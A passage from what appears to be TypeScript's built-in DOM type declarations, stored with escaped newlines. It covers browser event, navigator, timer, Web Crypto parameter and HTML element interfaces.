NUMBER_TYPE: number;\\n    readonly ORDERED_NODE_ITERATOR_TYPE: number;\\n    readonly ORDERED_NODE_SNAPSHOT_TYPE: number;\\n    readonly STRING_TYPE: number;\\n    readonly UNORDERED_NODE_ITERATOR_TYPE: number;\\n    readonly UNORDERED_NODE_SNAPSHOT_TYPE: number;\\n};\\n\\ninterface XSLTProcessor {\\n    clearParameters(): void;\\n    getParameter(namespaceURI: string, localName: string): any;\\n    importStylesheet(style: Node): void;\\n    removeParameter(namespaceURI: string, localName: string): void;\\n    reset(): void;\\n    setParameter(namespaceURI: string, localName: string, value: any): void;\\n    transformToDocument(source: Node): Document;\\n    transformToFragment(source: Node, document: Document): DocumentFragment;\\n}\\n\\ndeclare var XSLTProcessor: {\\n    prototype: XSLTProcessor;\\n    new(): XSLTProcessor;\\n};\\n\\ninterface AbstractWorkerEventMap {\\n    \"error\": ErrorEvent;\\n}\\n\\ninterface AbstractWorker {\\n    onerror: (this: AbstractWorker, ev: ErrorEvent) => any;\\n    addEventListener<K extends keyof AbstractWorkerEventMap>(type: K, listener: (this: AbstractWorker, ev: AbstractWorkerEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ninterface Body {\\n    readonly bodyUsed: boolean;\\n    arrayBuffer(): Promise<ArrayBuffer>;\\n    blob(): Promise<Blob>;\\n    json(): Promise<any>;\\n    text(): Promise<string>;\\n    formData(): Promise<FormData>;\\n}\\n\\ninterface CanvasPathMethods {\\n    arc(x: number, y: number, radius: number, startAngle: number, endAngle: number, anticlockwise?: boolean): void;\\n    arcTo(x1: number, y1: number, x2: number, y2: number, radius: number): void;\\n    bezierCurveTo(cp1x: number, cp1y: number, cp2x: number, cp2y: number, x: number, y: number): void;\\n    closePath(): void;\\n    ellipse(x: number, y: number, radiusX: number, radiusY: number, rotation: number, startAngle: number, endAngle: number, anticlockwise?: boolean): void;\\n    lineTo(x: number, y: number): void;\\n    moveTo(x: number, y: number): void;\\n    quadraticCurveTo(cpx: number, cpy: number, x: number, y: number): void;\\n    rect(x: number, y: number, w: number, h: number): void;\\n}\\n\\ninterface ChildNode {\\n    remove(): void;\\n}\\n\\ninterface DocumentEvent {\\n    createEvent(eventInterface: \"AnimationEvent\"): AnimationEvent;\\n    createEvent(eventInterface: \"AudioProcessingEvent\"): AudioProcessingEvent;\\n    createEvent(eventInterface: \"BeforeUnloadEvent\"): BeforeUnloadEvent;\\n    createEvent(eventInterface: \"ClipboardEvent\"): ClipboardEvent;\\n    createEvent(eventInterface: \"CloseEvent\"): CloseEvent;\\n    createEvent(eventInterface: \"CompositionEvent\"): CompositionEvent;\\n    createEvent(eventInterface: \"CustomEvent\"): CustomEvent;\\n    createEvent(eventInterface: \"DeviceLightEvent\"): DeviceLightEvent;\\n    createEvent(eventInterface: \"DeviceMotionEvent\"): DeviceMotionEvent;\\n    createEvent(eventInterface: \"DeviceOrientationEvent\"): DeviceOrientationEvent;\\n    createEvent(eventInterface: \"DragEvent\"): DragEvent;\\n    createEvent(eventInterface: \"ErrorEvent\"): ErrorEvent;\\n    createEvent(eventInterface: \"Event\"): Event;\\n    createEvent(eventInterface: \"Events\"): Event;\\n    createEvent(eventInterface: \"FocusEvent\"): FocusEvent;\\n    createEvent(eventInterface: \"FocusNavigationEvent\"): FocusNavigationEvent;\\n    createEvent(eventInterface: \"GamepadEvent\"): GamepadEvent;\\n    createEvent(eventInterface: \"HashChangeEvent\"): HashChangeEvent;\\n    createEvent(eventInterface: \"IDBVersionChangeEvent\"): IDBVersionChangeEvent;\\n    createEvent(eventInterface: \"KeyboardEvent\"): KeyboardEvent;\\n    createEvent(eventInterface: \"ListeningStateChangedEvent\"): ListeningStateChangedEvent;\\n    createEvent(eventInterface: \"LongRunningScriptDetectedEvent\"): LongRunningScriptDetectedEvent;\\n    createEvent(eventInterface: \"MSGestureEvent\"): MSGestureEvent;\\n    createEvent(eventInterface: \"MSManipulationEvent\"): MSManipulationEvent;\\n    createEvent(eventInterface: \"MSMediaKeyMessageEvent\"): MSMediaKeyMessageEvent;\\n    createEvent(eventInterface: \"MSMediaKeyNeededEvent\"): MSMediaKeyNeededEvent;\\n    createEvent(eventInterface: \"MSPointerEvent\"): MSPointerEvent;\\n    createEvent(eventInterface: \"MSSiteModeEvent\"): MSSiteModeEvent;\\n    createEvent(eventInterface: \"MediaEncryptedEvent\"): MediaEncryptedEvent;\\n    createEvent(eventInterface: \"MediaKeyMessageEvent\"): MediaKeyMessageEvent;\\n    createEvent(eventInterface: \"MediaStreamErrorEvent\"): MediaStreamErrorEvent;\\n    createEvent(eventInterface: \"MediaStreamEvent\"): MediaStreamEvent;\\n    createEvent(eventInterface: \"MediaStreamTrackEvent\"): MediaStreamTrackEvent;\\n    createEvent(eventInterface: \"MessageEvent\"): MessageEvent;\\n    createEvent(eventInterface: \"MouseEvent\"): MouseEvent;\\n    createEvent(eventInterface: \"MouseEvents\"): MouseEvent;\\n    createEvent(eventInterface: \"MutationEvent\"): MutationEvent;\\n    createEvent(eventInterface: \"MutationEvents\"): MutationEvent;\\n    createEvent(eventInterface: \"NavigationCompletedEvent\"): NavigationCompletedEvent;\\n    createEvent(eventInterface: \"NavigationEvent\"): NavigationEvent;\\n    createEvent(eventInterface: \"NavigationEventWithReferrer\"): NavigationEventWithReferrer;\\n    createEvent(eventInterface: \"OfflineAudioCompletionEvent\"): OfflineAudioCompletionEvent;\\n    createEvent(eventInterface: \"OverflowEvent\"): OverflowEvent;\\n    createEvent(eventInterface: \"PageTransitionEvent\"): PageTransitionEvent;\\n    createEvent(eventInterface: \"PaymentRequestUpdateEvent\"): PaymentRequestUpdateEvent;\\n    createEvent(eventInterface: \"PermissionRequestedEvent\"): PermissionRequestedEvent;\\n    createEvent(eventInterface: \"PointerEvent\"): PointerEvent;\\n    createEvent(eventInterface: \"PopStateEvent\"): PopStateEvent;\\n    createEvent(eventInterface: \"ProgressEvent\"): ProgressEvent;\\n    createEvent(eventInterface: \"RTCDTMFToneChangeEvent\"): RTCDTMFToneChangeEvent;\\n    createEvent(eventInterface: \"RTCDtlsTransportStateChangedEvent\"): RTCDtlsTransportStateChangedEvent;\\n    createEvent(eventInterface: \"RTCIceCandidatePairChangedEvent\"): RTCIceCandidatePairChangedEvent;\\n    createEvent(eventInterface: \"RTCIceGathererEvent\"): RTCIceGathererEvent;\\n    createEvent(eventInterface: \"RTCIceTransportStateChangedEvent\"): RTCIceTransportStateChangedEvent;\\n    createEvent(eventInterface: \"RTCPeerConnectionIceEvent\"): RTCPeerConnectionIceEvent;\\n    createEvent(eventInterface: \"RTCSsrcConflictEvent\"): RTCSsrcConflictEvent;\\n    createEvent(eventInterface: \"SVGZoomEvent\"): SVGZoomEvent;\\n    createEvent(eventInterface: \"SVGZoomEvents\"): SVGZoomEvent;\\n    createEvent(eventInterface: \"ScriptNotifyEvent\"): ScriptNotifyEvent;\\n    createEvent(eventInterface: \"ServiceWorkerMessageEvent\"): ServiceWorkerMessageEvent;\\n    createEvent(eventInterface: \"SpeechSynthesisEvent\"): SpeechSynthesisEvent;\\n    createEvent(eventInterface: \"StorageEvent\"): StorageEvent;\\n    createEvent(eventInterface: \"TextEvent\"): TextEvent;\\n    createEvent(eventInterface: \"TouchEvent\"): TouchEvent;\\n    createEvent(eventInterface: \"TrackEvent\"): TrackEvent;\\n    createEvent(eventInterface: \"TransitionEvent\"): TransitionEvent;\\n    createEvent(eventInterface: \"UIEvent\"): UIEvent;\\n    createEvent(eventInterface: \"UIEvents\"): UIEvent;\\n    createEvent(eventInterface: \"UnviewableContentIdentifiedEvent\"): UnviewableContentIdentifiedEvent;\\n    createEvent(eventInterface: \"WebGLContextEvent\"): WebGLContextEvent;\\n    createEvent(eventInterface: \"WheelEvent\"): WheelEvent;\\n    createEvent(eventInterface: string): Event;\\n}\\n\\ninterface DOML2DeprecatedColorProperty {\\n    color: string;\\n}\\n\\ninterface DOML2DeprecatedSizeProperty {\\n    size: number;\\n}\\n\\ninterface ElementTraversal {\\n    readonly childElementCount: number;\\n    readonly firstElementChild: Element | null;\\n    readonly lastElementChild: Element | null;\\n    readonly nextElementSibling: Element | null;\\n    readonly previousElementSibling: Element | null;\\n}\\n\\ninterface GetSVGDocument {\\n    getSVGDocument(): Document;\\n}\\n\\ninterface GlobalEventHandlersEventMap {\\n    \"pointercancel\": PointerEvent;\\n    \"pointerdown\": PointerEvent;\\n    \"pointerenter\": PointerEvent;\\n    \"pointerleave\": PointerEvent;\\n    \"pointermove\": PointerEvent;\\n    \"pointerout\": PointerEvent;\\n    \"pointerover\": PointerEvent;\\n    \"pointerup\": PointerEvent;\\n    \"wheel\": WheelEvent;\\n}\\n\\ninterface GlobalEventHandlers {\\n    onpointercancel: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerdown: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerenter: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerleave: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointermove: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerout: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerover: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onpointerup: (this: GlobalEventHandlers, ev: PointerEvent) => any;\\n    onwheel: (this: GlobalEventHandlers, ev: WheelEvent) => any;\\n    addEventListener<K extends keyof GlobalEventHandlersEventMap>(type: K, listener: (this: GlobalEventHandlers, ev: GlobalEventHandlersEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ninterface GlobalFetch {\\n    fetch(input: RequestInfo, init?: RequestInit): Promise<Response>;\\n}\\n\\ninterface HTMLTableAlignment {\\n    /**\\n     * Sets or retrieves a value that you can use to implement your own ch functionality for the object.\\n     */\\n    ch: string;\\n    /**\\n     * Sets or retrieves a value that you can use to implement your own chOff functionality for the object.\\n     */\\n    chOff: string;\\n    /**\\n     * Sets or retrieves how text and other content are vertically aligned within the object that contains them.\\n     */\\n    vAlign: string;\\n}\\n\\ninterface IDBEnvironment {\\n    readonly indexedDB: IDBFactory;\\n}\\n\\ninterface LinkStyle {\\n    readonly sheet: StyleSheet;\\n}\\n\\ninterface MSBaseReaderEventMap {\\n    \"abort\": Event;\\n    \"error\": ErrorEvent;\\n    \"load\": Event;\\n    \"loadend\": ProgressEvent;\\n    \"loadstart\": Event;\\n    \"progress\": ProgressEvent;\\n}\\n\\ninterface MSBaseReader {\\n    onabort: (this: MSBaseReader, ev: Event) => any;\\n    onerror: (this: MSBaseReader, ev: ErrorEvent) => any;\\n    onload: (this: MSBaseReader, ev: Event) => any;\\n    onloadend: (this: MSBaseReader, ev: ProgressEvent) => any;\\n    onloadstart: (this: MSBaseReader, ev: Event) => any;\\n    onprogress: (this: MSBaseReader, ev: ProgressEvent) => any;\\n    readonly readyState: number;\\n    readonly result: any;\\n    abort(): void;\\n    readonly DONE: number;\\n    readonly EMPTY: number;\\n    readonly LOADING: number;\\n    addEventListener<K extends keyof MSBaseReaderEventMap>(type: K, listener: (this: MSBaseReader, ev: MSBaseReaderEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ninterface MSFileSaver {\\n    msSaveBlob(blob: any, defaultName?: string): boolean;\\n    msSaveOrOpenBlob(blob: any, defaultName?: string): boolean;\\n}\\n\\ninterface MSNavigatorDoNotTrack {\\n    confirmSiteSpecificTrackingException(args: ConfirmSiteSpecificExceptionsInformation): boolean;\\n    confirmWebWideTrackingException(args: ExceptionInformation): boolean;\\n    removeSiteSpecificTrackingException(args: ExceptionInformation): void;\\n    removeWebWideTrackingException(args: ExceptionInformation): void;\\n    storeSiteSpecificTrackingException(args: StoreSiteSpecificExceptionsInformation): void;\\n    storeWebWideTrackingException(args: StoreExceptionsInformation): void;\\n}\\n\\ninterface NavigatorBeacon {\\n    sendBeacon(url: USVString, data?: BodyInit): boolean;\\n}\\n\\ninterface NavigatorConcurrentHardware {\\n    readonly hardwareConcurrency: number;\\n}\\n\\ninterface NavigatorContentUtils {\\n}\\n\\ninterface NavigatorGeolocation {\\n    readonly geolocation: Geolocation;\\n}\\n\\ninterface NavigatorID {\\n    readonly appCodeName: string;\\n    readonly appName: string;\\n    readonly appVersion: string;\\n    readonly platform: string;\\n    readonly product: string;\\n    readonly productSub: string;\\n    readonly userAgent: string;\\n    readonly vendor: string;\\n    readonly vendorSub: string;\\n}\\n\\ninterface NavigatorOnLine {\\n    readonly onLine: boolean;\\n}\\n\\ninterface NavigatorStorageUtils {\\n}\\n\\ninterface NavigatorUserMedia {\\n    readonly mediaDevices: MediaDevices;\\n    getUserMedia(constraints: MediaStreamConstraints, successCallback: NavigatorUserMediaSuccessCallback, errorCallback: NavigatorUserMediaErrorCallback): void;\\n}\\n\\ninterface NodeSelector {\\n    querySelector<K extends keyof ElementTagNameMap>(selectors: K): ElementTagNameMap[K] | null;\\n    querySelector(selectors: string): Element | null;\\n    querySelectorAll<K extends keyof ElementListTagNameMap>(selectors: K): ElementListTagNameMap[K];\\n    querySelectorAll(selectors: string): NodeListOf<Element>;\\n}\\n\\ninterface RandomSource {\\n    getRandomValues(array: ArrayBufferView): ArrayBufferView;\\n}\\n\\ninterface SVGAnimatedPoints {\\n    readonly animatedPoints: SVGPointList;\\n    readonly points: SVGPointList;\\n}\\n\\ninterface SVGFilterPrimitiveStandardAttributes {\\n    readonly height: SVGAnimatedLength;\\n    readonly result: SVGAnimatedString;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n}\\n\\ninterface SVGFitToViewBox {\\n    readonly preserveAspectRatio: SVGAnimatedPreserveAspectRatio;\\n    readonly viewBox: SVGAnimatedRect;\\n}\\n\\ninterface SVGTests {\\n    readonly requiredExtensions: SVGStringList;\\n    readonly requiredFeatures: SVGStringList;\\n    readonly systemLanguage: SVGStringList;\\n    hasExtension(extension: string): boolean;\\n}\\n\\ninterface SVGURIReference {\\n    readonly href: SVGAnimatedString;\\n}\\n\\ninterface WindowBase64 {\\n    atob(encodedString: string): string;\\n    btoa(rawString: string): string;\\n}\\n\\ninterface WindowConsole {\\n    readonly console: Console;\\n}\\n\\ninterface WindowLocalStorage {\\n    readonly localStorage: Storage;\\n}\\n\\ninterface WindowSessionStorage {\\n    readonly sessionStorage: Storage;\\n}\\n\\ninterface WindowTimers extends Object, WindowTimersExtension {\\n    clearInterval(handle: number): void;\\n    clearTimeout(handle: number): void;\\n    setInterval(handler: (...args: any[]) => void, timeout: number): number;\\n    setInterval(handler: any, timeout?: any, ...args: any[]): number;\\n    setTimeout(handler: (...args: any[]) => void, timeout: number): number;\\n    setTimeout(handler: any, timeout?: any, ...args: any[]): number;\\n}\\n\\ninterface WindowTimersExtension {\\n    clearImmediate(handle: number): void;\\n    setImmediate(handler: (...args: any[]) => void): number;\\n    setImmediate(handler: any, ...args: any[]): number;\\n}\\n\\ninterface XMLHttpRequestEventTargetEventMap {\\n    \"abort\": Event;\\n    \"error\": ErrorEvent;\\n    \"load\": Event;\\n    \"loadend\": ProgressEvent;\\n    \"loadstart\": Event;\\n    \"progress\": ProgressEvent;\\n    \"timeout\": ProgressEvent;\\n}\\n\\ninterface XMLHttpRequestEventTarget {\\n    onabort: (this: XMLHttpRequestEventTarget, ev: Event) => any;\\n    onerror: (this: XMLHttpRequestEventTarget, ev: ErrorEvent) => any;\\n    onload: (this: XMLHttpRequestEventTarget, ev: Event) => any;\\n    onloadend: (this: XMLHttpRequestEventTarget, ev: ProgressEvent) => any;\\n    onloadstart: (this: XMLHttpRequestEventTarget, ev: Event) => any;\\n    onprogress: (this: XMLHttpRequestEventTarget, ev: ProgressEvent) => any;\\n    ontimeout: (this: XMLHttpRequestEventTarget, ev: ProgressEvent) => any;\\n    addEventListener<K extends keyof XMLHttpRequestEventTargetEventMap>(type: K, listener: (this: XMLHttpRequestEventTarget, ev: XMLHttpRequestEventTargetEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ninterface ErrorEventInit {\\n    message?: string;\\n    filename?: string;\\n    lineno?: number;\\n    conlno?: number;\\n    error?: any;\\n}\\n\\ninterface StorageEventInit extends EventInit {\\n    key?: string;\\n    oldValue?: string;\\n    newValue?: string;\\n    url: string;\\n    storageArea?: Storage;\\n}\\n\\ninterface Canvas2DContextAttributes {\\n    alpha?: boolean;\\n    willReadFrequently?: boolean;\\n    storage?: boolean;\\n    [attribute: string]: boolean | string | undefined;\\n}\\n\\ninterface ImageBitmapOptions {\\n    imageOrientation?: \"none\" | \"flipY\";\\n    premultiplyAlpha?: \"none\" | \"premultiply\" | \"default\";\\n    colorSpaceConversion?: \"none\" | \"default\";\\n    resizeWidth?: number;\\n    resizeHeight?: number;\\n    resizeQuality?: \"pixelated\" | \"low\" | \"medium\" | \"high\";\\n}\\n\\ninterface ImageBitmap {\\n    readonly width: number;\\n    readonly height: number;\\n    close(): void;\\n}\\n\\ninterface URLSearchParams {\\n    /**\\n     * Appends a specified key/value pair as a new search parameter.\\n     */\\n    append(name: string, value: string): void;\\n    /**\\n     * Deletes the given search parameter, and its associated value, from the list of all search parameters.\\n     */\\n    delete(name: string): void;\\n    /**\\n     * Returns the first value associated to the given search parameter.\\n     */\\n    get(name: string): string | null;\\n    /**\\n     * Returns all the values association with a given search parameter.\\n     */\\n    getAll(name: string): string[];\\n    /**\\n     * Returns a Boolean indicating if such a search parameter exists.\\n     */\\n    has(name: string): boolean;\\n    /**\\n     * Sets the value associated to a given search parameter to the given value. If there were several values, delete the others.\\n     */\\n    set(name: string, value: string): void;\\n}\\n\\ndeclare var URLSearchParams: {\\n    prototype: URLSearchParams;\\n    /**\\n     * Constructor returning a URLSearchParams object.\\n     */\\n    new (init?: string | URLSearchParams): URLSearchParams;\\n};\\n\\ninterface NodeListOf<TNode extends Node> extends NodeList {\\n    length: number;\\n    item(index: number): TNode;\\n    [index: number]: TNode;\\n}\\n\\ninterface HTMLCollectionOf<T extends Element> extends HTMLCollection {\\n    item(index: number): T;\\n    namedItem(name: string): T;\\n    [index: number]: T;\\n}\\n\\ninterface BlobPropertyBag {\\n    type?: string;\\n    endings?: string;\\n}\\n\\ninterface FilePropertyBag {\\n    type?: string;\\n    lastModified?: number;\\n}\\n\\ninterface EventListenerObject {\\n    handleEvent(evt: Event): void;\\n}\\n\\ninterface ProgressEventInit extends EventInit {\\n    lengthComputable?: boolean;\\n    loaded?: number;\\n    total?: number;\\n}\\n\\ninterface ScrollOptions {\\n    behavior?: ScrollBehavior;\\n}\\n\\ninterface ScrollToOptions extends ScrollOptions {\\n    left?: number;\\n    top?: number;\\n}\\n\\ninterface ScrollIntoViewOptions extends ScrollOptions {\\n    block?: ScrollLogicalPosition;\\n    inline?: ScrollLogicalPosition;\\n}\\n\\ninterface ClipboardEventInit extends EventInit {\\n    data?: string;\\n    dataType?: string;\\n}\\n\\ninterface IDBArrayKey extends Array<IDBValidKey> {\\n}\\n\\ninterface RsaKeyGenParams extends Algorithm {\\n    modulusLength: number;\\n    publicExponent: Uint8Array;\\n}\\n\\ninterface RsaHashedKeyGenParams extends RsaKeyGenParams {\\n    hash: AlgorithmIdentifier;\\n}\\n\\ninterface RsaKeyAlgorithm extends KeyAlgorithm {\\n    modulusLength: number;\\n    publicExponent: Uint8Array;\\n}\\n\\ninterface RsaHashedKeyAlgorithm extends RsaKeyAlgorithm {\\n    hash: AlgorithmIdentifier;\\n}\\n\\ninterface RsaHashedImportParams {\\n    hash: AlgorithmIdentifier;\\n}\\n\\ninterface RsaPssParams {\\n    saltLength: number;\\n}\\n\\ninterface RsaOaepParams extends Algorithm {\\n    label?: BufferSource;\\n}\\n\\ninterface EcdsaParams extends Algorithm {\\n    hash: AlgorithmIdentifier;\\n}\\n\\ninterface EcKeyGenParams extends Algorithm {\\n    namedCurve: string;\\n}\\n\\ninterface EcKeyAlgorithm extends KeyAlgorithm {\\n    typedCurve: string;\\n}\\n\\ninterface EcKeyImportParams {\\n    namedCurve: string;\\n}\\n\\ninterface EcdhKeyDeriveParams extends Algorithm {\\n    public: CryptoKey;\\n}\\n\\ninterface AesCtrParams extends Algorithm {\\n    counter: BufferSource;\\n    length: number;\\n}\\n\\ninterface AesKeyAlgorithm extends KeyAlgorithm {\\n    length: number;\\n}\\n\\ninterface AesKeyGenParams extends Algorithm {\\n    length: number;\\n}\\n\\ninterface AesDerivedKeyParams extends Algorithm {\\n    length: number;\\n}\\n\\ninterface AesCbcParams extends Algorithm {\\n    iv: BufferSource;\\n}\\n\\ninterface AesCmacParams extends Algorithm {\\n    length: number;\\n}\\n\\ninterface AesGcmParams extends Algorithm {\\n    iv: BufferSource;\\n    additionalData?: BufferSource;\\n    tagLength?: number;\\n}\\n\\ninterface AesCfbParams extends Algorithm {\\n    iv: BufferSource;\\n}\\n\\ninterface HmacImportParams extends Algorithm {\\n    hash?: AlgorithmIdentifier;\\n    length?: number;\\n}\\n\\ninterface HmacKeyAlgorithm extends KeyAlgorithm {\\n    hash: AlgorithmIdentifier;\\n    length: number;\\n}\\n\\ninterface HmacKeyGenParams extends Algorithm {\\n    hash: AlgorithmIdentifier;\\n    length?: number;\\n}\\n\\ninterface DhKeyGenParams extends Algorithm {\\n    prime: Uint8Array;\\n    generator: Uint8Array;\\n}\\n\\ninterface DhKeyAlgorithm extends KeyAlgorithm {\\n    prime: Uint8Array;\\n    generator: Uint8Array;\\n}\\n\\ninterface DhKeyDeriveParams extends Algorithm {\\n    public: CryptoKey;\\n}\\n\\ninterface DhImportKeyParams extends Algorithm {\\n    prime: Uint8Array;\\n    generator: Uint8Array;\\n}\\n\\ninterface ConcatParams extends Algorithm {\\n    hash?: AlgorithmIdentifier;\\n    algorithmId: Uint8Array;\\n    partyUInfo: Uint8Array;\\n    partyVInfo: Uint8Array;\\n    publicInfo?: Uint8Array;\\n    privateInfo?: Uint8Array;\\n}\\n\\ninterface HkdfCtrParams extends Algorithm {\\n    hash: AlgorithmIdentifier;\\n    label: BufferSource;\\n    context: BufferSource;\\n}\\n\\ninterface Pbkdf2Params extends Algorithm {\\n    salt: BufferSource;\\n    iterations: number;\\n    hash: AlgorithmIdentifier;\\n}\\n\\ninterface RsaOtherPrimesInfo {\\n    r: string;\\n    d: string;\\n    t: string;\\n}\\n\\ninterface JsonWebKey {\\n    kty: string;\\n    use?: string;\\n    key_ops?: string[];\\n    alg?: string;\\n    kid?: string;\\n    x5u?: string;\\n    x5c?: string;\\n    x5t?: string;\\n    ext?: boolean;\\n    crv?: string;\\n    x?: string;\\n    y?: string;\\n    d?: string;\\n    n?: string;\\n    e?: string;\\n    p?: string;\\n    q?: string;\\n    dp?: string;\\n    dq?: string;\\n    qi?: string;\\n    oth?: RsaOtherPrimesInfo[];\\n    k?: string;\\n}\\n\\ninterface ParentNode {\\n    readonly children: HTMLCollection;\\n    readonly firstElementChild: Element | null;\\n    readonly lastElementChild: Element | null;\\n    readonly childElementCount: number;\\n}\\n\\ninterface DocumentOrShadowRoot {\\n    readonly activeElement: Element | null;\\n    readonly stylesheets: StyleSheetList;\\n    getSelection(): Selection | null;\\n    elementFromPoint(x: number, y: number): Element | null;\\n    elementsFromPoint(x: number, y: number): Element[];\\n}\\n\\ninterface ShadowRoot extends DocumentOrShadowRoot, DocumentFragment {\\n    readonly host: Element;\\n    innerHTML: string;\\n}\\n\\ninterface ShadowRootInit {\\n    mode: \"open\" | \"closed\";\\n    delegatesFocus?: boolean;\\n}\\n\\ninterface HTMLSlotElement extends HTMLElement {\\n    name: string;\\n    assignedNodes(options?: AssignedNodesOptions): Node[];\\n}\\n\\ninterface AssignedNodesOptions {\\n    flatten?: boolean;\\n}\\n\\ninterface ElementDefinitionOptions {\\n    extends: string;\\n}\\n\\ninterface CustomElementRegistry {\\n    define(name: string, constructor: Function, options?: ElementDefinitionOptions): void;\\n    get(name: string): any;\\n    whenDefined(name: string): PromiseLike<void>;\\n}\\n\\ninterface PromiseRejectionEvent extends Event {\\n    readonly promise: PromiseLike<any>;\\n    readonly reason: any;\\n}\\n\\ninterface PromiseRejectionEventInit extends EventInit {\\n    promise: PromiseLike<any>;\\n    reason?: any;\\n}\\n\\ninterface EventListenerOptions {\\n    capture?: boolean;\\n}\\n\\ninterface AddEventListenerOptions extends EventListenerOptions {\\n    passive?: boolean;\\n    once?: boolean;\\n}\\n\\ninterface TouchEventInit extends EventModifierInit {\\n    touches?: Touch[];\\n    targetTouches?: Touch[];\\n    changedTouches?: Touch[];\\n}\\n\\ndeclare type EventListenerOrEventListenerObject = EventListener | EventListenerObject;\\n\\ninterface DecodeErrorCallback {\\n    (error: DOMException): void;\\n}\\ninterface DecodeSuccessCallback {\\n    (decodedData: AudioBuffer): void;\\n}\\ninterface ErrorEventHandler {\\n    (message: string, filename?: string, lineno?: number, colno?: number, error?: Error): void;\\n}\\ninterface ForEachCallback {\\n    (keyId: any, status: MediaKeyStatus): void;\\n}\\ninterface FrameRequestCallback {\\n    (time: number): void;\\n}\\ninterface FunctionStringCallback {\\n    (data: string): void;\\n}\\ninterface IntersectionObserverCallback {\\n    (entries: IntersectionObserverEntry[], observer: IntersectionObserver): void;\\n}\\ninterface MediaQueryListListener {\\n    (mql: MediaQueryList): void;\\n}\\ninterface MSExecAtPriorityFunctionCallback {\\n    (...args: any[]): any;\\n}\\ninterface MSLaunchUriCallback {\\n    (): void;\\n}\\ninterface MSUnsafeFunctionCallback {\\n    (): any;\\n}\\ninterface MutationCallback {\\n    (mutations: MutationRecord[], observer: MutationObserver): void;\\n}\\ninterface NavigatorUserMediaErrorCallback {\\n    (error: MediaStreamError): void;\\n}\\ninterface NavigatorUserMediaSuccessCallback {\\n    (stream: MediaStream): void;\\n}\\ninterface NotificationPermissionCallback {\\n    (permission: NotificationPermission): void;\\n}\\ninterface PositionCallback {\\n    (position: Position): void;\\n}\\ninterface PositionErrorCallback {\\n    (error: PositionError): void;\\n}\\ninterface RTCPeerConnectionErrorCallback {\\n    (error: DOMError): void;\\n}\\ninterface RTCSessionDescriptionCallback {\\n    (sdp: RTCSessionDescription): void;\\n}\\ninterface RTCStatsCallback {\\n    (report: RTCStatsReport): void;\\n}\\ninterface VoidFunction {\\n    (): void;\\n}\\ninterface HTMLElementTagNameMap {\\n    \"a\": HTMLAnchorElement;\\n    \"applet\": HTMLAppletElement;\\n    \"area\": HTMLAreaElement;\\n    \"audio\": HTMLAudioElement;\\n    \"base\": HTMLBaseElement;\\n    \"basefont\": HTMLBaseFontElement;\\n    \"blockquote\": HTMLQuoteElement;\\n    \"body\": HTMLBodyElement;\\n    \"br\": HTMLBRElement;\\n    \"button\": HTMLButtonElement;\\n    \"canvas\": HTMLCanvasElement;\\n    \"caption\": HTMLTableCaptionElement;\\n    \"col\": HTMLTableColElement;\\n    \"colgroup\": HTMLTableColElement;\\n    \"data\": HTMLDataElement;\\n    \"datalist\": HTMLDataListElement;\\n    \"del\": HTMLModElement;\\n    \"dir\": HTMLDirectoryElement;\\n    \"div\": HTMLDivElement;\\n    \"dl\": HTMLDListElement;\\n    \"embed\": HTMLEmbedElement;\\n    \"fieldset\": HTMLFieldSetElement;\\n    \"font\": HTMLFontElement;\\n    \"form\": HTMLFormElement;\\n    \"frame\": HTMLFrameElement;\\n    \"frameset\": HTMLFrameSetElement;\\n    \"h1\": HTMLHeadingElement;\\n    \"h2\": HTMLHeadingElement;\\n    \"h3\": HTMLHeadingElement;\\n    \"h4\": HTMLHeadingElement;\\n    \"h5\": HTMLHeadingElement;\\n    \"h6\": HTMLHeadingElement;\\n    \"head\": HTMLHeadElement;\\n    \"hr\": HTMLHRElement;\\n    \"html\": HTMLHtmlElement;\\n    \"iframe\": HTMLIFrameElement;\\n    \"img\": HTMLImageElement;\\n    \"input\": HTMLInputElement;\\n    \"ins\": HTMLModElement;\\n    \"isindex\": HTMLUnknownElement;\\n    \"label\": HTMLLabelElement;\\n    \"legend\": HTMLLegendElement;\\n    \"li\": HTMLLIElement;\\n    \"link\": HTMLLinkElement;\\n    \"listing\": HTMLPreElement;\\n    \"map\": HTMLMapElement;\\n    \"marquee\": HTMLMarqueeElement;\\n    \"menu\": HTMLMenuElement;\\n    \"meta\": HTMLMetaElement;\\n    \"meter\": HTMLMeterElement;\\n    \"nextid\": HTMLUnknownElement;\\n    \"object\": HTMLObjectElement;\\n    \"ol\": HTMLOListElement;\\n    \"optgroup\": HTMLOptGroupElement;\\n    \"option\": HTMLOptionElement;\\n    \"output\": HTMLOutputElement;\\n    \"p\": HTMLParagraphElement;\\n    \"param\": HTMLParamElement;\\n    \"picture\": HTMLPictureElement;\\n    \"pre\": HTMLPreElement;\\n    \"progress\": HTMLProgressElement;\\n    \"q\": HTMLQuoteElement;\\n    \"script\": HTMLScriptElement;\\n    \"select\": HTMLSelectElement;\\n    \"source\": HTMLSourceElement;\\n    \"span\": HTMLSpanElement;\\n    \"style\": HTMLStyleElement;\\n    \"table\": HTMLTableElement;\\n    \"tbody\": HTMLTableSectionElement;\\n    \"td\": HTMLTableDataCellElement;\\n    \"template\": HTMLTemplateElement;\\n    \"textarea\": HTMLTextAreaElement;\\n    \"tfoot\": HTMLTableSectionElement;\\n    \"th\": HTMLTableHeaderCellElement;\\n    \"thead\": HTMLTableSectionElement;\\n    \"time\": HTMLTimeElement;\\n    \"title\": HTMLTitleElement;\\n    \"tr\": HTMLTableRowElement;\\n    \"track\": 